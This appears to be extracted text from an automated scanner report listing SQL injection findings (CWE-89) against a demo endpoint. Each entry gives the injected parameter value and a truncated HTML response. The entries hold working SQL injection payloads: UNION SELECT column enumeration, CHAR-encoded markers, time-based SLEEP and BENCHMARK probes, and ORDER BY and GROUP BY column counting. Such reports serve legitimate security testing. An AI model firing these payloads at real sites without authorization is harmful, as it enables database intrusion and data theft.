z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1348
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+
CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1349
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1350
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1351
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1352
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1' ORDER BY 3--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1353
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1354
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# WHERE 1=1 AND 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1355
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# OR 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1356
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1357
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1358
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1359
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 15--ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1360
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1361Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1362
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1' GROUP BY 1,2,3--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
